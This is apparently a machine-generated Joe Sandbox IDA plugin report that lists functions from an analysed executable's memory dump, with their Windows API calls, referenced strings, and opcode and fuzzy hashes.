Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 715eda5a92207f90f1c98d76184464dfaff846abbc7b0f7e50660352ff5f030f
Instruction ID: ae540356ce52488a77f3e5e18288388e7c4b10473fa9a1eedb0b2bf597bb381e
Opcode Fuzzy Hash: 715eda5a92207f90f1c98d76184464dfaff846abbc7b0f7e50660352ff5f030f
Instruction Fuzzy Hash: 5C21C171600204AFEB209FADCC88DAA77ECEB493607008025F994CB2A5DA74DC41CB74

Function 010405A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 010405C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 01040601

Strings

nul, xrefs: 01040639

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: ef4b12637e06ce83b6b084f7124312954b881a18fffddc972ef6e0d50ced975d
Instruction ID: 5629ebd9f968070f5f2e4bac6c63070a570510135bdc593f4756577f3f44d98c
Opcode Fuzzy Hash: ef4b12637e06ce83b6b084f7124312954b881a18fffddc972ef6e0d50ced975d
Instruction Fuzzy Hash: 2121A6B55003059BEB209F6DC884ADA7BE4AF89724F304A69FEE2F72D8D7719540CB50

Function 010404D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 010404F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0104052E

Strings

nul, xrefs: 01040567

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 38482ca61c329aa4e2e6dd96a007a00bb4e832336d839d5d4c0931a3eb4116d7
Instruction ID: 83678e57a6ddbc2e328ecf78d4c0ad81e1b4fd4a7a237ef8ec0ae845722d4255
Opcode Fuzzy Hash: 38482ca61c329aa4e2e6dd96a007a00bb4e832336d839d5d4c0931a3eb4116d7
Instruction Fuzzy Hash: 362171F1500305EBEB209F29D884ADB7BE4EF45724F104A69FAE1E71E8D7719540CB60

Function 010640AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00FD604C
Part of subcall function 00FD600E: GetStockObject.GDI32(00000011), ref: 00FD6060
Part of subcall function 00FD600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00FD606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 01064112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0106411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0106412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 01064139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 01064145

Strings

Msctls_Progress32, xrefs: 010640E3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 9a91ac2beabc28fa7d2c859cf71c9d82dc3e29ebc422f3c6db6d44c4dff798c9
Instruction ID: bdfef38d8b799715c2954b65a0b2d36d129f15237c00b003779cc64aef258c7f
Opcode Fuzzy Hash: 9a91ac2beabc28fa7d2c859cf71c9d82dc3e29ebc422f3c6db6d44c4dff798c9
Instruction Fuzzy Hash: FE1182B215021ABEFF219E64CC85EEB7F9DEF08798F014111FA58E6150C6769C21DBA4

Function 0100D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0100D7A3: _free.LIBCMT ref: 0100D7CC

_free.LIBCMT ref: 0100D82D

Part of subcall function 010029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000), ref: 010029DE
Part of subcall function 010029C8: GetLastError.KERNEL32(00000000,?,0100D7D1,00000000,00000000,00000000,00000000,?,0100D7F8,00000000,00000007,00000000,?,0100DBF5,00000000,00000000), ref: 010029F0

_free.LIBCMT ref: 0100D838
_free.LIBCMT ref: 0100D843
_free.LIBCMT ref: 0100D897
_free.LIBCMT ref: 0100D8A2
_free.LIBCMT ref: 0100D8AD
_free.LIBCMT ref: 0100D8B8

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 3aac571e8af34bbd681cc50084bb9e42a53d80b87334a38304f0e981b84b7aa9
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 6B113771940B45AAFA23BFF4CC49FCB7BDCBF60700F400825A2DDA60D0EA65B5058762

Function 0103DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0103DA74
LoadStringW.USER32(00000000), ref: 0103DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0103DA91
LoadStringW.USER32(00000000), ref: 0103DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0103DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0103DAB9

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: 4f69e2289048aee5f8d6ddf4c5f69f9c349e19f5920e47cfc2b3776aa9d67908
Instruction ID: a5ea3365a5f75a751a209cc0b3122f74cd054001c93f04fe16f3851707d37cea
Opcode Fuzzy Hash: 4f69e2289048aee5f8d6ddf4c5f69f9c349e19f5920e47cfc2b3776aa9d67908
Instruction Fuzzy Hash: D70162F2500208BFF7109BE49E89EEB376CE708301F400496F7C6E6045EA799E844B74

Function 0104096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(00B7E9B0,00B7E9B0), ref: 0104097B
EnterCriticalSection.KERNEL32(00B7E990,00000000), ref: 0104098D
TerminateThread.KERNEL32(?,000001F6), ref: 0104099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 010409A9
CloseHandle.KERNEL32(?), ref: 010409B8
InterlockedExchange.KERNEL32(00B7E9B0,000001F6), ref: 010409C8
LeaveCriticalSection.KERNEL32(00B7E990), ref: 010409CF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 124301a2afd15fccd5d589ee976a6a5d34fd9a63013c37bda1b6ae31525924c0
Instruction ID: 2a4db53aa06f65736638d93bfa1513b93368d33f20ae90b57cc5301fbd0b7500
Opcode Fuzzy Hash: 124301a2afd15fccd5d589ee976a6a5d34fd9a63013c37bda1b6ae31525924c0
Instruction Fuzzy Hash: B5F01D31442512BBF7615BA4EF88AD67A25BF01702F401025F281608A8C77A9465CFA0

Function 01051C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 01051DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 01051DE1
WSAGetLastError.WSOCK32 ref: 01051DF2
htons.WSOCK32(?,?,?,?,?), ref: 01051EDB
inet_ntoa.WSOCK32(?), ref: 01051E8C

Part of subcall function 010339E8: _strlen.LIBCMT ref: 010339F2

Part of subcall function 01053224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,0104EC0C), ref: 01053240

_strlen.LIBCMT ref: 01051F35

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: dc069b29dcaefb30d009eab87a5b52cdd48f047fd0185737fca736c9565b5a65
Instruction ID: 699f4ccb9ae05673ee3347926c479e938a91a487773d86b785a92d8dcbd292d2
Opcode Fuzzy Hash: dc069b29dcaefb30d009eab87a5b52cdd48f047fd0185737fca736c9565b5a65
Instruction Fuzzy Hash: 4BB1BF30204340AFD764DF24C885F2A7BE5AF94318F58858DF9965B2A2CB75ED42CB91

Function 00FD5D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00FD5D30
GetWindowRect.USER32(?,?), ref: 00FD5D71
ScreenToClient.USER32(?,?), ref: 00FD5D99
GetClientRect.USER32(?,?), ref: 00FD5ED7
GetWindowRect.USER32(?,?), ref: 00FD5EF8

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 559c7a901b9e0ce8affa4ec4413b613e11a721d66a85adcffa9f0cc74d1f372b
Instruction ID: 26534d3c09c098c40f9639da2ffd7122bdc13ac9a71eb4bef64bd41c76424ac5
Opcode Fuzzy Hash: 559c7a901b9e0ce8affa4ec4413b613e11a721d66a85adcffa9f0cc74d1f372b
Instruction Fuzzy Hash: 91B18C35A0074ADBDB14DFA8C4807EEB7F2FF48310F18851AE8A9D7254DB34AA51DB54

Function 010001B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 010000BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 010000D6
__allrem.LIBCMT ref: 010000ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0100010B
__allrem.LIBCMT ref: 01000122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01000140

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: 1c8448dce8cc15a174d1d1ffe8294a1e8b22dd9f4545ed7bf929efcdd96bbd19
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 70811676A00B069BF7269E78CC40BAB73E9AF51764F24463EF691D72D0E774D9008B90

Function 010061FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00FF82D9,00FF82D9,?,?,?,0100644F,00000001,00000001,8BE85006), ref: 01006258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0100644F,00000001,00000001,8BE85006,?,?,?), ref: 010062DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 010063D8
__freea.LIBCMT ref: 010063E5

Part of subcall function 01003820: RtlAllocateHeap.NTDLL(00000000,?,010A1444,?,00FEFDF5,?,?,00FDA976,00000010,010A1440,00FD13FC,?,00FD13C6,?,00FD1129), ref: 01003852

__freea.LIBCMT ref: 010063EE
__freea.LIBCMT ref: 01006413

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 7034a82da91fcac003f688c616e2d4ef6f98624b6124d1c98923a4d114a2e252
Instruction ID: 3a167b4512316bd94e8d1b5198120e3360e9c942e8fa05175ecf796e2b43383e
Opcode Fuzzy Hash: 7034a82da91fcac003f688c616e2d4ef6f98624b6124d1c98923a4d114a2e252
Instruction Fuzzy Hash: DD51E872600216AFFB274E64CC81EAF7BEAEF44650F158269FD45DA1C0DB36DC50C6A0

Function 0105BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Part of subcall function 0105C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0105B6AE,?,?), ref: 0105C9B5
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105C9F1
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105CA68
Part of subcall function 0105C998: _wcslen.LIBCMT ref: 0105CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0105BCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0105BD25
RegCloseKey.ADVAPI32(00000000), ref: 0105BD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0105BD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0105BDF3
RegCloseKey.ADVAPI32(?), ref: 0105BDFF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: f90a48f1b16e33f051bd7edcbef47435e6948ee9a1c9c3eebbb1800dbc050fd6
Instruction ID: 5069ca4d37dda5d075f4a7ee905dfac34f16be41df8998abe0669ea1489bd471
Opcode Fuzzy Hash: f90a48f1b16e33f051bd7edcbef47435e6948ee9a1c9c3eebbb1800dbc050fd6
Instruction Fuzzy Hash: 5581B330208241AFD754EF24C895E2BBBE6FF84308F18459DF5954B2A2DB35ED05DB92

Function 0102F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 0102F7B9
SysAllocString.OLEAUT32(00000001), ref: 0102F860
VariantCopy.OLEAUT32(0102FA64,00000000), ref: 0102F889
VariantClear.OLEAUT32(0102FA64), ref: 0102F8AD
VariantCopy.OLEAUT32(0102FA64,00000000), ref: 0102F8B1
VariantClear.OLEAUT32(?), ref: 0102F8BB

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: c1e84db3098ad42a963cb0018dfb50409e7302096d865542813d5445f1e17ad9
Instruction ID: a4d9d89b52ec5642ae68895a76ff8ab95ee46fc4f47528a40885e237d80ba23b
Opcode Fuzzy Hash: c1e84db3098ad42a963cb0018dfb50409e7302096d865542813d5445f1e17ad9
Instruction Fuzzy Hash: 7851E331600322BADF20AF65D884B6DB3F9EF45350F24845BE986DF295DBB49C40CB96

Function 0104910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00FD7620: _wcslen.LIBCMT ref: 00FD7625

Part of subcall function 00FD6B57: _wcslen.LIBCMT ref: 00FD6B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 010494E5
_wcslen.LIBCMT ref: 01049506
_wcslen.LIBCMT ref: 0104952D
GetSaveFileNameW.COMDLG32(00000058), ref: 01049585

Strings

X, xrefs: 01049412

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: acaa159a6f60b14334a8fb0864bd1d781879f29dde14675b8830fbc99eb6e4c1
Instruction ID: 42465ca81f31589b0cf966817e7466fd51700674d7dce6c092d2df69ae5c90e9
Opcode Fuzzy Hash: acaa159a6f60b14334a8fb0864bd1d781879f29dde14675b8830fbc99eb6e4c1
Instruction Fuzzy Hash: 59E180716083418FD724DF24C881A6AB7E5BF89314F18857DF9899B3A2DB35ED04CB92

Function 00FE920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00FE9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00FE9BB2

BeginPaint.USER32(?,?,?), ref: 00FE9241
GetWindowRect.USER32(?,?), ref: 00FE92A5
ScreenToClient.USER32(?,?), ref: 00FE92C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00FE92D3
EndPaint.USER32(?,?,?,?,?), ref: 00FE9321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 010271EA

Part of subcall function 00FE9339: BeginPath.GDI32(00000000), ref: 00FE9357

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: a86b0d2afc63f70f74122dcebd6a45e2fcaa2463dd5c3e273236913751886bbd
Instruction ID: 8bdb5b02df2c3b221a83173b7b870337f9abee4d4af85e26a70d13e67f4b1e3c
Opcode Fuzzy Hash: a86b0d2afc63f70f74122dcebd6a45e2fcaa2463dd5c3e273236913751886bbd
Instruction Fuzzy Hash: 2941B031108340AFD721DF29C884FAA7BE9EF59320F140269FAE4871E1C7769845EB62

Function 010407EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0104080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 01040847
EnterCriticalSection.KERNEL32(?), ref: 01040863
LeaveCriticalSection.KERNEL32(?), ref: 010408DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 010408F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 01040921

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 8cfa6cd90e11693684c37b07ec1d5be57e5db8fbc5e4727a2ad4022ab910af50
Instruction ID: 7ebaed5da5dffe4992cf38ba1de04780f5fa6b661751ada75dad63d6d51428ef
Opcode Fuzzy Hash: 8cfa6cd90e11693684c37b07ec1d5be57e5db8fbc5e4727a2ad4022ab910af50
Instruction Fuzzy Hash: FA418B71900205EBEF159F54DC81AAA77B9FF04300F1080B9EE40AA29ADB35EE54DBA0

Function 010681DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,0102F3AB,00000000,?,?,00000000,?,0102682C,00000004,00000000,00000000), ref: 0106824C
